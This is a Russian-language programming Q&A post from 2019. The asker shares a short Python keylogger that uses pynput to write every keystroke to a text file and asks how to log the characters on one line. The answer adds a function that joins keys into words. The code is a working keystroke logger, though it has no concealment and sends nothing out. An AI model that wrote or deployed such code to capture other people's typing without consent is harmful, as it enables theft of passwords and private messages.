Простой кейлоггер "Проблема при входе в файл" - PullRequest
0 голосов
/ 31 октября 2019

Проблема:

В файле журнала сохраняется один символ за другим в новой строке для каждого символа .

Цель это регистрация всех символов в одной строке

есть ли проблема с форматом при ведении журнала или?

Код

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

Результат: регистрация

-> In File.txt

l

o

g

g

i

n

g

Ожидаемый результат

logging

-> In File.txt

logging

Как этот вывод необходим

какой формат это требует?

1 Ответ

0 голосов
/ 01 ноября 2019

Эта функция предназначена для захвата слова / предложения

old=""
space = False
def key_log(key):
    global old
    global space

    if key=="Key.space":
        space=True

    if len(key) == 1:
        if space:
            key = old + " " + key
            space=False

        else:
            key = old + "" + key

        old = key
        print(key)
    else:
         print(key)
    logging.info(key)

с использованием этой функции

def btn_press(key):
    #logging.info(key) 
     key_log(str(key))

Результат регистрация

-> File.txt

l

lo

log

logg

loggi

loggin

logging

Этот способ лучше или любым другим способом?

небольшая помощь будет приветствоваться!.

...